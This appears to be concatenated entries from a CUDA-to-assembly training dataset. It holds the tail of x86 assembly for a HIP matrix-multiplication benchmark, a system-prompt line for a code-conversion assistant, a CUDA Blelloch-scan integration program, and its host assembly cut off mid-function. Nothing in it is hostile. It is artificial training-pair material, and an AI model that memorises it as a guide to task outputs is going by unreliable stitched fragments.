xorl %r15d, %r15d
xorl %r12d, %r12d
.p2align 4, 0x90
.LBB6_19: # %.preheader.i37
# =>This Loop Header: Depth=1
# Child Loop BB6_20 Depth 2
movl %r15d, %eax
leaq (%r14,%rax,4), %r13
xorl %ebp, %ebp
.p2align 4, 0x90
.LBB6_20: # Parent Loop BB6_19 Depth=1
# => This Inner Loop Header: Depth=2
callq drand48
cvtsd2ss %xmm0, %xmm0
movss %xmm0, (%r13,%rbp,4)
incq %rbp
cmpq %rbp, %rbx
jne .LBB6_20
# %bb.21: # %._crit_edge.i43
# in Loop: Header=BB6_19 Depth=1
incq %r12
addl %ebx, %r15d
cmpq %rbx, %r12
jne .LBB6_19
.LBB6_22: # %_Z10set_matrixPfi.exit46
movl $.Lstr.1, %edi
callq puts@PLT
leaq 24(%rsp), %rsi
movl $1, %edi
callq clock_gettime
cmpl $-1, %eax
je .LBB6_23
# %bb.24:
movq matrixA(%rip), %rdi
movq matrixB(%rip), %rsi
movq matrixC_cuda(%rip), %rdx
movl size(%rip), %ecx
callq _Z9cuda_mmulPfS_S_i
leaq 8(%rsp), %rsi
movl $1, %edi
callq clock_gettime
cmpl $-1, %eax
je .LBB6_23
# %bb.25:
movq 8(%rsp), %rax
movq 16(%rsp), %rcx
subq 24(%rsp), %rax
imulq $1000000000, %rax, %rax # imm = 0x3B9ACA00
subq 32(%rsp), %rcx
addq %rax, %rcx
xorps %xmm0, %xmm0
cvtsi2sd %rcx, %xmm0
divsd .LCPI6_0(%rip), %xmm0
movl $.L.str.9, %edi
movb $1, %al
callq printf
movl $.Lstr.2, %edi
callq puts@PLT
leaq 24(%rsp), %rsi
movl $1, %edi
callq clock_gettime
cmpl $-1, %eax
je .LBB6_23
# %bb.26:
movl size(%rip), %eax
testl %eax, %eax
jle .LBB6_33
# %bb.27: # %.preheader.lr.ph.i47
movq matrixA(%rip), %rcx
movq matrixB(%rip), %rdx
movq matrixC_serial(%rip), %rsi
leaq (,%rax,4), %rdi
xorl %r8d, %r8d
xorl %r9d, %r9d
.p2align 4, 0x90
.LBB6_28: # %.preheader.i48
# =>This Loop Header: Depth=1
# Child Loop BB6_29 Depth 2
# Child Loop BB6_30 Depth 3
movl %r8d, %r10d
leaq (%rcx,%r10,4), %r10
movq %r9, %r11
imulq %rax, %r11
leaq (%rsi,%r11,4), %r11
movq %rdx, %rbx
xorl %r14d, %r14d
.p2align 4, 0x90
.LBB6_29: # %.lr.ph.i
# Parent Loop BB6_28 Depth=1
# => This Loop Header: Depth=2
# Child Loop BB6_30 Depth 3
movl $0, (%r11,%r14,4)
xorpd %xmm0, %xmm0
movq %rbx, %r15
xorl %r12d, %r12d
.p2align 4, 0x90
.LBB6_30: # Parent Loop BB6_28 Depth=1
# Parent Loop BB6_29 Depth=2
# => This Inner Loop Header: Depth=3
movss (%r10,%r12), %xmm1 # xmm1 = mem[0],zero,zero,zero
mulss (%r15), %xmm1
addss %xmm1, %xmm0
movss %xmm0, (%r11,%r14,4)
addq $4, %r12
addq %rdi, %r15
cmpq %r12, %rdi
jne .LBB6_30
# %bb.31: # %._crit_edge.i53
# in Loop: Header=BB6_29 Depth=2
incq %r14
addq $4, %rbx
cmpq %rax, %r14
jne .LBB6_29
# %bb.32: # %._crit_edge24.i
# in Loop: Header=BB6_28 Depth=1
incq %r9
addl %eax, %r8d
cmpq %rax, %r9
jne .LBB6_28
.LBB6_33: # %_Z11serial_mmulPfS_S_.exit
leaq 8(%rsp), %rsi
movl $1, %edi
callq clock_gettime
cmpl $-1, %eax
je .LBB6_23
# %bb.34:
movq 8(%rsp), %rax
movq 16(%rsp), %rcx
subq 24(%rsp), %rax
imulq $1000000000, %rax, %rax # imm = 0x3B9ACA00
subq 32(%rsp), %rcx
addq %rax, %rcx
xorps %xmm0, %xmm0
cvtsi2sd %rcx, %xmm0
divsd .LCPI6_0(%rip), %xmm0
movl $.L.str.11, %edi
movb $1, %al
callq printf
cmpl $0, size(%rip)
jle .LBB6_42
# %bb.35: # %.preheader.preheader
xorl %r15d, %r15d
movaps .LCPI6_1(%rip), %xmm1 # xmm1 = [NaN,NaN,NaN,NaN]
movsd .LCPI6_2(%rip), %xmm2 # xmm2 = mem[0],zero
jmp .LBB6_36
.p2align 4, 0x90
.LBB6_41: # %._crit_edge
# in Loop: Header=BB6_36 Depth=1
incl %r15d
cmpl size(%rip), %r15d
jge .LBB6_42
.LBB6_36: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB6_38 Depth 2
movl size(%rip), %eax
testl %eax, %eax
jle .LBB6_41
# %bb.37: # %.lr.ph.preheader
# in Loop: Header=BB6_36 Depth=1
movslq %r15d, %rbx
xorl %r14d, %r14d
jmp .LBB6_38
.p2align 4, 0x90
.LBB6_40: # in Loop: Header=BB6_38 Depth=2
movl size(%rip), %eax
incq %r14
cmpl %eax, %r14d
jge .LBB6_41
.LBB6_38: # %.lr.ph
# Parent Loop BB6_36 Depth=1
# => This Inner Loop Header: Depth=2
movq matrixC_cuda(%rip), %rcx
imull %r15d, %eax
cltq
addq %r14, %rax
movss (%rcx,%rax,4), %xmm0 # xmm0 = mem[0],zero,zero,zero
movq matrixC_serial(%rip), %rcx
subss (%rcx,%rax,4), %xmm0
andps %xmm1, %xmm0
cvtss2sd %xmm0, %xmm0
ucomisd %xmm2, %xmm0
jbe .LBB6_40
# %bb.39: # in Loop: Header=BB6_38 Depth=2
movl $.Lstr.4, %edi
callq puts@PLT
movq matrixC_cuda(%rip), %rax
movslq size(%rip), %rcx
imulq %rbx, %rcx
addq %r14, %rcx
movss (%rax,%rcx,4), %xmm0 # xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
movq matrixC_serial(%rip), %rax
movss (%rax,%rcx,4), %xmm1 # xmm1 = mem[0],zero,zero,zero
cvtss2sd %xmm1, %xmm1
movl $.L.str.13, %edi
movl %ebx, %esi
movl %r14d, %edx
movb $2, %al
callq printf
movsd .LCPI6_2(%rip), %xmm2 # xmm2 = mem[0],zero
movaps .LCPI6_1(%rip), %xmm1 # xmm1 = [NaN,NaN,NaN,NaN]
jmp .LBB6_40
.LBB6_42: # %._crit_edge71
movl $.Lstr.3, %edi
callq puts@PLT
xorl %eax, %eax
addq $40, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %r12
.cfi_def_cfa_offset 40
popq %r13
.cfi_def_cfa_offset 32
popq %r14
.cfi_def_cfa_offset 24
popq %r15
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
retq
.LBB6_7:
.cfi_def_cfa_offset 96
movl $.L.str, %edi
jmp .LBB6_8
.LBB6_23:
movl $.L.str.8, %edi
.LBB6_8:
callq perror
xorl %edi, %edi
callq exit
.Lfunc_end6:
.size main, .Lfunc_end6-main
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB7_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB7_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z10cudaMatMulPfS_S_iiii, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end7:
.size __hip_module_ctor, .Lfunc_end7-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB8_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB8_2:
retq
.Lfunc_end8:
.size __hip_module_dtor, .Lfunc_end8-__hip_module_dtor
.cfi_endproc
# -- End function
.type size,@object # @size
.bss
.globl size
.p2align 2, 0x0
size:
.long 0 # 0x0
.size size, 4
.type matrixA,@object # @matrixA
.globl matrixA
.p2align 3, 0x0
matrixA:
.quad 0
.size matrixA, 8
.type matrixB,@object # @matrixB
.globl matrixB
.p2align 3, 0x0
matrixB:
.quad 0
.size matrixB, 8
.type matrixBT,@object # @matrixBT
.globl matrixBT
.p2align 3, 0x0
matrixBT:
.quad 0
.size matrixBT, 8
.type matrixC_serial,@object # @matrixC_serial
.globl matrixC_serial
.p2align 3, 0x0
matrixC_serial:
.quad 0
.size matrixC_serial, 8
.type matrixC_cuda,@object # @matrixC_cuda
.globl matrixC_cuda
.p2align 3, 0x0
matrixC_cuda:
.quad 0
.size matrixC_cuda, 8
.type _Z10cudaMatMulPfS_S_iiii,@object # @_Z10cudaMatMulPfS_S_iiii
.section .rodata,"a",@progbits
.globl _Z10cudaMatMulPfS_S_iiii
.p2align 3, 0x0
_Z10cudaMatMulPfS_S_iiii:
.quad _Z25__device_stub__cudaMatMulPfS_S_iiii
.size _Z10cudaMatMulPfS_S_iiii, 8
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "malloc"
.size .L.str, 7
.type .L.str.2,@object # @.str.2
.L.str.2:
.asciz " %f"
.size .L.str.2, 4
.type .L.str.5,@object # @.str.5
.L.str.5:
.asciz "n:p:"
.size .L.str.5, 5
.type .L.str.6,@object # @.str.6
.L.str.6:
.asciz "Usage: %s -n N\n"
.size .L.str.6, 16
.type .L.str.8,@object # @.str.8
.L.str.8:
.asciz "clock_gettime"
.size .L.str.8, 14
.type .L.str.9,@object # @.str.9
.L.str.9:
.asciz "Multi Thread Computation End: %.3f us.\n"
.size .L.str.9, 40
.type .L.str.11,@object # @.str.11
.L.str.11:
.asciz "Single Thread Computation End: %.3f us.\n"
.size .L.str.11, 41
.type .L.str.13,@object # @.str.13
.L.str.13:
.asciz "(%d, %d): %f - %f\n"
.size .L.str.13, 19
.type .L__unnamed_1,@object # @0
.L__unnamed_1:
.asciz "_Z10cudaMatMulPfS_S_iiii"
.size .L__unnamed_1, 25
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.type .Lstr,@object # @str
.section .rodata.str1.1,"aMS",@progbits,1
.Lstr:
.asciz " ]"
.size .Lstr, 3
.type .Lstr.1,@object # @str.1
.Lstr.1:
.asciz "Multi Thread Computation Start"
.size .Lstr.1, 31
.type .Lstr.2,@object # @str.2
.Lstr.2:
.asciz "Single Thread Computation Start"
.size .Lstr.2, 32
.type .Lstr.3,@object # @str.3
.Lstr.3:
.asciz "Verification Success."
.size .Lstr.3, 22
.type .Lstr.4,@object # @str.4
.Lstr.4:
.asciz "Verification Fail."
.size .Lstr.4, 19
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z25__device_stub__cudaMatMulPfS_S_iiii
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z10cudaMatMulPfS_S_iiii
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | #include <stdio.h>
#include <stdlib.h>
#include <cuda.h>
#include <math.h>
// #include <stdexcept>
#define CUDA_CALL(x) do { if((x)!=cudaSuccess) { \
printf("Error at %s:%d\n",__FILE__,__LINE__);\
return EXIT_FAILURE;}} while(0)
__global__ void prepare_function(float * d_out, int n_points,
float x_min, float x_max)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
float x = x_min + (x_max - x_min) * id / n_points;
d_out[id] = exp(-pow(x, 2));
// d_out[id] = (float) id;
}
// __global__ void blelloch_reduce(float * d_in, int n_points)
// {
// /* Assuming n_points is a power of two */
// int n_current = 2;
// int id = threadIdx.x + blockIdx.x * blockDim.x;
//
// while(n_current <= n_points)
// {
// if ((id + 1) % n_current == 0)
// {
// d_in[id] += d_in[id - n_current/2];
// }
// __syncthreads();
// n_current = n_current * 2;
// }
//
// }
__global__ void blelloch_reduce_step(float * d_in, int n_points, int stride_step)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
if ((id + 1) % stride_step == 0)
{
d_in[id] += d_in[id - stride_step/2];
}
}
__global__ void kill_last(float * d_in, int n_points)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
if (id == n_points - 1)
{
d_in[id] = 0;
}
}
/*
__global__ void blelloch_downsweep(float * d_in, int n_points)
{
int n_current = n_points;
int id = threadIdx.x + blockIdx.x * blockDim.x;
float tmp;
if (id == n_points - 1)
{
d_in[id] = 0;
}
__syncthreads();
while(n_current >= 2)
{
if ((id + 1) % n_current == 0)
{
tmp = d_in[id];
d_in[id] += d_in[id - n_current/2];
d_in[id - n_current/2] = tmp;
}
n_current = n_current / 2;
__syncthreads();
}
}*/
__global__ void blelloch_downsweep_step(float * d_in, int n_points, int stride_step)
{
int id = threadIdx.x + blockIdx.x * blockDim.x;
float tmp;
if ((id + 1) % stride_step == 0)
{
tmp = d_in[id];
d_in[id] += d_in[id - stride_step/2];
d_in[id - stride_step/2] = tmp;
}
// __syncthreads();
}
int main(int argc, char* argv[])
{
float minus_infty = -8;
float x_max = 0;
int n_blocks = 1024;
int n_points_per_block = 1024;
int n_points = n_points_per_block * n_blocks;
int stride_step;
float dx;
float *devFunVals;
float *hostFunVals;
float *hostFunVals2;
if (argc > 1)
{
sscanf(argv[1], "%f", &x_max);
// printf("%f\n", x_max);
if (x_max < minus_infty)
{
printf("0\n");
return 0;
}
}
else
{
printf("Usage: ./scan <number> \n");
return 0;
}
dx = (x_max - minus_infty) / (float) n_points;
// printf("dx: %e\n", dx);
// printf("n_points: %d\n", n_points);
//
if (n_points < 0 || ((n_points & (n_points - 1)) != 0))
{
printf("n_points is not a power of two\n");
return 1;
}
hostFunVals = (float *)calloc(n_points, sizeof(float));
hostFunVals2 = (float *)calloc(n_points, sizeof(float));
CUDA_CALL(cudaMalloc((void **)&devFunVals, n_points*sizeof(float)));
prepare_function<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, minus_infty, x_max);
// blelloch_reduce<<<n_blocks, n_points_per_block>>>(devFunVals, n_points);
stride_step = 2;
while(stride_step <= n_points)
{
blelloch_reduce_step<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, stride_step);
stride_step = stride_step * 2;
}
stride_step = n_points;
CUDA_CALL(cudaMemcpy(hostFunVals, devFunVals, n_points*sizeof(float), cudaMemcpyDeviceToHost));
kill_last<<<n_blocks, n_points_per_block>>>(devFunVals, n_points);
while(stride_step >= 2)
{
blelloch_downsweep_step<<<n_blocks, n_points_per_block>>>(devFunVals, n_points, stride_step);
stride_step = stride_step / 2;
}
CUDA_CALL(cudaMemcpy(hostFunVals2, devFunVals, n_points*sizeof(float), cudaMemcpyDeviceToHost));
// for(int i=0; i<n_points; i++)
// {
// printf("%1.4f \n", hostFunVals[i]);
// }
// printf("=========\n");
//
// for(int i=0; i<n_points; i++)
// {
// printf("%1.4f \n", hostFunVals2[i]);
// }
// printf("\n");
// printf("Func value: %1.5f\n", hostFunVals[n_points - 1]);
printf("Integral value: %1.5e\n", hostFunVals2[n_points - 1] * dx);
free(hostFunVals);
free(hostFunVals2);
CUDA_CALL(cudaFree(devFunVals));
return 0;
} | .file "tmpxft_0002096f_00000000-6_scan.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2060:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2060:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z39__device_stub__Z16prepare_functionPfiffPfiff
.type _Z39__device_stub__Z16prepare_functionPfiffPfiff, @function
_Z39__device_stub__Z16prepare_functionPfiffPfiff:
.LFB2082:
.cfi_startproc
endbr64
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 24(%rsp)
movl %esi, 20(%rsp)
movss %xmm0, 16(%rsp)
movss %xmm1, 12(%rsp)
movq %fs:40, %rax
movq %rax, 136(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 20(%rsp), %rax
movq %rax, 104(%rsp)
leaq 16(%rsp), %rax
movq %rax, 112(%rsp)
leaq 12(%rsp), %rax
movq %rax, 120(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 136(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $152, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 168
pushq 40(%rsp)
.cfi_def_cfa_offset 176
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z16prepare_functionPfiff(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 160
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2082:
.size _Z39__device_stub__Z16prepare_functionPfiffPfiff, .-_Z39__device_stub__Z16prepare_functionPfiffPfiff
.globl _Z16prepare_functionPfiff
.type _Z16prepare_functionPfiff, @function
_Z16prepare_functionPfiff:
.LFB2083:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z39__device_stub__Z16prepare_functionPfiffPfiff
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2083:
.size _Z16prepare_functionPfiff, .-_Z16prepare_functionPfiff
.globl _Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii
.type _Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii, @function
_Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii:
.LFB2084:
.cfi_startproc
endbr64
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 8(%rsp)
movl %esi, 4(%rsp)
movl %edx, (%rsp)
movq %fs:40, %rax
movq %rax, 104(%rsp)
xorl %eax, %eax
leaq 8(%rsp), %rax
movq %rax, 80(%rsp)
leaq 4(%rsp), %rax
movq %rax, 88(%rsp)
movq %rsp, %rax
movq %rax, 96(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1, 40(%rsp)
movl $1, 44(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
leaq 24(%rsp), %rcx
leaq 16(%rsp), %rdx
leaq 44(%rsp), %rsi
leaq 32(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L15
.L11:
movq 104(%rsp), %rax
subq %fs:40, %rax
jne .L16
addq $120, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L15:
.cfi_restore_state
pushq 24(%rsp)
.cfi_def_cfa_offset 136
pushq 24(%rsp)
.cfi_def_cfa_offset 144
leaq 96(%rsp), %r9
movq 60(%rsp), %rcx
movl 68(%rsp), %r8d
movq 48(%rsp), %rsi
movl 56(%rsp), %edx
leaq _Z20blelloch_reduce_stepPfii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 128
jmp .L11
.L16:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2084:
.size _Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii, .-_Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii
.globl _Z20blelloch_reduce_stepPfii
.type _Z20blelloch_reduce_stepPfii, @function
_Z20blelloch_reduce_stepPfii:
.LFB2085:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2085:
.size _Z20blelloch_reduce_stepPfii, .-_Z20blelloch_reduce_stepPfii
.globl _Z29__device_stub__Z9kill_lastPfiPfi
.type _Z29__device_stub__Z9kill_lastPfiPfi, @function
_Z29__device_stub__Z9kill_lastPfiPfi:
.LFB2086:
.cfi_startproc
endbr64
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 8(%rsp)
movl %esi, 4(%rsp)
movq %fs:40, %rax
movq %rax, 104(%rsp)
xorl %eax, %eax
leaq 8(%rsp), %rax
movq %rax, 80(%rsp)
leaq 4(%rsp), %rax
movq %rax, 88(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1, 40(%rsp)
movl $1, 44(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
leaq 24(%rsp), %rcx
leaq 16(%rsp), %rdx
leaq 44(%rsp), %rsi
leaq 32(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L23
.L19:
movq 104(%rsp), %rax
subq %fs:40, %rax
jne .L24
addq $120, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L23:
.cfi_restore_state
pushq 24(%rsp)
.cfi_def_cfa_offset 136
pushq 24(%rsp)
.cfi_def_cfa_offset 144
leaq 96(%rsp), %r9
movq 60(%rsp), %rcx
movl 68(%rsp), %r8d
movq 48(%rsp), %rsi
movl 56(%rsp), %edx
leaq _Z9kill_lastPfi(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 128
jmp .L19
.L24:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2086:
.size _Z29__device_stub__Z9kill_lastPfiPfi, .-_Z29__device_stub__Z9kill_lastPfiPfi
.globl _Z9kill_lastPfi
.type _Z9kill_lastPfi, @function
_Z9kill_lastPfi:
.LFB2087:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z29__device_stub__Z9kill_lastPfiPfi
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2087:
.size _Z9kill_lastPfi, .-_Z9kill_lastPfi
.globl _Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii
.type _Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii, @function
_Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii:
.LFB2088:
.cfi_startproc
endbr64
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 8(%rsp)
movl %esi, 4(%rsp)
movl %edx, (%rsp)
movq %fs:40, %rax
movq %rax, 104(%rsp)
xorl %eax, %eax
leaq 8(%rsp), %rax
movq %rax, 80(%rsp)
leaq 4(%rsp), %rax
movq %rax, 88(%rsp)
movq %rsp, %rax
movq %rax, 96(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1, 40(%rsp)
movl $1, 44(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
leaq 24(%rsp), %rcx
leaq 16(%rsp), %rdx
leaq 44(%rsp), %rsi
leaq 32(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L31
.L27:
movq 104(%rsp), %rax
subq %fs:40, %rax
jne .L32
addq $120, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L31:
.cfi_restore_state
pushq 24(%rsp)
.cfi_def_cfa_offset 136
pushq 24(%rsp)
.cfi_def_cfa_offset 144
leaq 96(%rsp), %r9
movq 60(%rsp), %rcx
movl 68(%rsp), %r8d
movq 48(%rsp), %rsi
movl 56(%rsp), %edx
leaq _Z23blelloch_downsweep_stepPfii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 128
jmp .L27
.L32:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2088:
.size _Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii, .-_Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii
.globl _Z23blelloch_downsweep_stepPfii
.type _Z23blelloch_downsweep_stepPfii, @function
_Z23blelloch_downsweep_stepPfii:
.LFB2089:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z45__device_stub__Z23blelloch_downsweep_stepPfiiPfii
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2089:
.size _Z23blelloch_downsweep_stepPfii, .-_Z23blelloch_downsweep_stepPfii
.section .rodata.str1.1,"aMS",@progbits,1
.LC1:
.string "%f"
.LC3:
.string "0\n"
.LC4:
.string "Usage: ./scan <number> \n"
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC5:
.string "/home/ubuntu/Datasets/stackv2/train-structured/aleksey-uvarov/hpc-2019/master/scan.cu"
.section .rodata.str1.1
.LC6:
.string "Error at %s:%d\n"
.LC9:
.string "Integral value: %1.5e\n"
.text
.globl main
.type main, @function
main:
.LFB2057:
.cfi_startproc
endbr64
pushq %r14
.cfi_def_cfa_offset 16
.cfi_offset 14, -16
pushq %r13
.cfi_def_cfa_offset 24
.cfi_offset 13, -24
pushq %r12
.cfi_def_cfa_offset 32
.cfi_offset 12, -32
pushq %rbp
.cfi_def_cfa_offset 40
.cfi_offset 6, -40
pushq %rbx
.cfi_def_cfa_offset 48
.cfi_offset 3, -48
subq $48, %rsp
.cfi_def_cfa_offset 96
movq %fs:40, %rax
movq %rax, 40(%rsp)
xorl %eax, %eax
movl $0x00000000, 4(%rsp)
cmpl $1, %edi
jle .L36
leaq 4(%rsp), %rdx
movq 8(%rsi), %rdi
leaq .LC1(%rip), %rsi
call __isoc23_sscanf@PLT
movl 4(%rsp), %ebp
movss .LC2(%rip), %xmm0
movd %ebp, %xmm2
comiss %xmm2, %xmm0
ja .L56
movl $4, %esi
movl $1048576, %edi
call calloc@PLT
movq %rax, %r13
movl $4, %esi
movl $1048576, %edi
call calloc@PLT
movq %rax, %r12
leaq 8(%rsp), %rdi
movl $4194304, %esi
call cudaMalloc@PLT
testl %eax, %eax
jne .L57
movl $1024, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1024, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 28(%rsp), %rdx
movl $1, %ecx
movq 16(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
je .L58
.L41:
movl $20, %ebx
movl $2, %r14d
jmp .L43
.L56:
leaq .LC3(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $0, %eax
jmp .L35
.L36:
leaq .LC4(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $0, %eax
.L35:
movq 40(%rsp), %rdx
subq %fs:40, %rdx
jne .L59
addq $48, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 48
popq %rbx
.cfi_def_cfa_offset 40
popq %rbp
.cfi_def_cfa_offset 32
popq %r12
.cfi_def_cfa_offset 24
popq %r13
.cfi_def_cfa_offset 16
popq %r14
.cfi_def_cfa_offset 8
ret
.L57:
.cfi_restore_state
movl $149, %ecx
leaq .LC5(%rip), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $1, %eax
jmp .L35
.L58:
movss 4(%rsp), %xmm1
movss .LC2(%rip), %xmm0
movl $1048576, %esi
movq 8(%rsp), %rdi
call _Z39__device_stub__Z16prepare_functionPfiffPfiff
jmp .L41
.L42:
addl %r14d, %r14d
subl $1, %ebx
je .L60
.L43:
movl $1024, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1024, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $0, %r9d
movl $0, %r8d
movq 28(%rsp), %rdx
movl $1, %ecx
movq 16(%rsp), %rdi
movl $1, %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
jne .L42
movl %r14d, %edx
movl $1048576, %esi
movq 8(%rsp), %rdi
call _Z42__device_stub__Z20blelloch_reduce_stepPfiiPfii
jmp .L42
.L60:
movl $2, %ecx
movl $4194304, %edx
movq 8(%rsp), %rsi
